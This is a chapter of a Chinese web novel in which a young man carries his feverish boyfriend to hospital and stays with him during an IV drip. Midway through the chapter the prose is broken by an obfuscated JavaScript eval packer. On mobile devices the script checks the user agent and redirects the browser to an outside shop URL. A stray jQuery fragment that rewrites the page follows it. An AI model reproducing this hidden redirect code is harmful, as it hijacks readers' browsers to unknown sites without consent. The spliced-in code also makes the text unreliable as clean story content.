是吗?
纪含朝是觉得头有点晕,但他还以为是被江帆迟气的呢,原来是因为发烧吗?
这几天京市换季确实是有点降温了,他本身身体素质就差,又在女仆咖啡店穿着裙子吹了一天的空调,会生病好像也不奇怪。
脑袋昏沉沉的,眼眶发酸,四肢的力气也在一点点往外抽。
纪含朝抬手探了下自己的额头,觉得不太烫,应该就是低烧的程度,没怎么放在心上,还跟江帆迟提出要回学校。
结果江帆迟听到他的要求后,却反应很大地问他:“你现在要回学校?!”
“嗯。”纪含朝认真地点了点头,他现在反应比平时迟钝一些,看上去有点呆呆的,“再晚点就没有回学校的地铁了,你家离学校太远了,打车很贵的。”
江帆迟双唇紧抿,没接话,他把纪含朝按在床上坐下,又转身从床头柜抽屉里翻出一支体温计递到他面前,语气不容拒绝:“夹五分钟。”
“可是……”
“没有可是。”江帆迟打断他,掏出手机操作一番。
纪含朝感觉到兜里的手机振动了一下,迷茫地拿出来看,才发现是江帆迟给他转钱了,而且一出手就是五位数。
“够了吗?打车费。”江帆迟问,“不够我还给你转。”
当然够了呀。
这钱别说打车回学校,包车绕京市一圈都绰绰有余。
纪含朝用那双因为发热而有些湿润的眼睛看着江帆迟,江帆迟把体温计又往他面前递了递,意思再明显不过。
好吧,既然有人报销车费,那他就量一下好了。
纪含朝乖乖接过体温计,将其夹在腋下,江帆迟就站在他旁边,垂眸安静地等。
五分钟后,江帆迟看着体温计上三十八度二的数字,眉头立刻拧起来,“你现在马上收拾收拾,跟我去医院。”
纪含朝看到这个数字也懵了一下,他以为自己最多也就三十七度出头,明明摸着额头不太烫呀,怎么会烧到三十八度呢?
他愣了一会儿,才摇了摇头说:“不用那么麻烦,我回学校吃点药睡一觉就好,不用去医院。”
江帆迟听到这话简直要被气笑了,生病了不仅不去医院还想着回学校,学校到底有谁在啊?让他这么牵肠挂肚?
“为什么不去?”
纪含朝眨眨眼,解释道:“换季发烧很常见的,我现在也不怎么难受,吃点药就好了,没必要去医院。”
而且他身体底子差,一年光发烧就得近十次,要是回回都去医院,那得花多少冤枉钱?
反正他也不严重,吃点药对付对付就差不多了。
纪含朝自我感觉良好,殊不知落在江帆迟眼中,却是一副强弩之末的状态。脸色苍白,两颊是病态的绯红,整个人看起来摇摇欲坠,毫无精神气。
就这还不怎么难受?非要烧得神志不清了才叫难受是吧?
江帆迟冷笑一声,没说话,抓住纪含朝的手臂,要拉他起来,纪含朝满身抗拒,跟小孩似的抓住床单不撒手,江帆迟怕把他扯痛了,也不敢太过用劲,一时之间竟拿他有点没办法。
二人僵持一会儿,江帆迟嘴唇抿成一条直线,点了点头,心想好吧,既然拉他不走,那就抱吧,反正也不是第一次了。
江帆迟弯腰,一只手穿过纪含朝膝弯,另一只手臂环过他的后背,不等纪含朝反应过来,已经稳稳地将他整个人打横抱了起来。
纪含朝惊呼一声,手里还攥着那截被他揪得皱巴巴的床单,整个人腾空之后下意识地搂住了江帆迟的脖子。
他稳了稳身形,反应过来后立刻开始挣扎:“我不想去医院!”
江帆迟冷着脸,抱着他往卧室门口走:“我不听你的。”
纪含朝被他抱着,手脚并用地在他怀里扑腾了几下。
可江帆迟现在不用顾忌走光,再加上纪含朝发烧本来就没什么力气,那点动静在江帆迟看来简直像小猫挠人,半点效果都没有。
江帆迟用自己的外套裹着他,抱着他下了楼,乘电梯期间遇见一个牵着绳要去遛狗的大妈,听见他们俩发出的动静,一直偷偷观察他们。
纪含朝觉得有点尴尬,窝在江帆迟怀里不动了,江帆迟则没什么脸皮地跟人家对视,直接把人看得不敢再看他们。
识时务者为俊杰,反抗不了,纪含朝只好接受必须要去医院的事实,反正花的也不是他的钱,他有什么可心疼的,去医院他的病还能好得更快一点呢!
而且如果就这么被江帆迟抱着去医院,也太丢人了!
纪含朝这样想着,怕去医院花钱的心态渐渐消弭,一出电梯,就让江帆迟将他放下来。
江帆迟低头看他,见他神情认真,便依言将他放了下来。
纪含朝脚刚一落地,就不受控制地软了一下,所幸江帆迟眼疾手快,伸手扶住了他。江帆迟让纪含朝扶住他的肩膀站好,把原本用来裹着纪含朝的外套展开,抖了抖,套在了纪含朝身上。
江帆迟比纪含朝高了近半个头,对他来说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898069|212883||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正好合适的衣服在纪含朝身上就显得有些大了,衣摆垂到了大腿根,袖口也长出好一截,空空荡荡的像是要去唱戏。
江帆迟低头替他将外套的拉链拉到了最顶上,衣领立起来盖住纪含朝大半张脸,只露出一双因为发烧而略显湿润的眼睛。
“站好。”江帆迟说,伸手把过长的袖口卷了两圈,露出纪含朝的手,又问他:“能自己走吗?”
纪含朝被他像裹粽子一样料理了一通,听到问话才呆呆地回过神,“可以的。”
“行,那走吧,车在车库。”
纪含朝点点头,他的腿还是有些软,想了想,伸手轻轻拉住了江帆迟的衣摆,亦步亦趋地跟在他身后。江帆迟身形顿了一下,最后也没说什么,还是由他去了。
他们去了离江帆迟家最近的医院。
测了下温度,三十八度八,果然又比之前升了一点。
江帆迟当机立断,让医生给纪含朝吊水。
他本来还想找个床位让纪含朝休息,却没想到换季期间医院里感冒发烧的人实在太多,床位早就满了,一个空的都没剩下。
好在纪含朝并不娇气,即便坐在冰冷的椅子上也没有任何怨言。
江帆迟跟着医生去缴费,回来时纪含朝的针已经打上了,他没有玩手机,就这样安静地看着吊瓶里的药水一滴一滴地滴落。
眼睛雾蒙蒙的,鼻尖也微微发红,嘴唇紧抿着,裹着件不合身的宽大外套,整个人缩在椅子上,像个无家可归的小孩,看着特别可怜。
看到他回来了,纪含朝仰头冲他露出一个笑,江帆迟心都软了半截。
江帆迟过去挨着纪含朝坐下,伸手探了探他额头的温度,还是烫,但又似乎比刚才好上那么一点。
纪含朝因着他的动作缩了缩脖子,随即又放松下来。他看着江帆迟,目光因为发烧而带着一点涣散,声音也轻轻的:“谢谢你送我来医院,时候不早了,你快回家吧,等会儿打完针我会自己回学校的。”
江帆迟收回手,古怪地看着他。
纪含朝以为他是怕他又去挤地铁,就又说:“你放心,打完针以后我会打车回学校的。”
虽然他也很想坐地铁,但他算了算,就算把输液速度调至最快,他打完这几瓶也得两个小时了,赶不上最后一趟地铁。
“我有说我要走了吗?”江帆迟问。
纪含朝一愣,“啊?”
“还是说,”江帆迟垂眸,“身为朝朝的男朋友,我连照顾你的资格都没有?”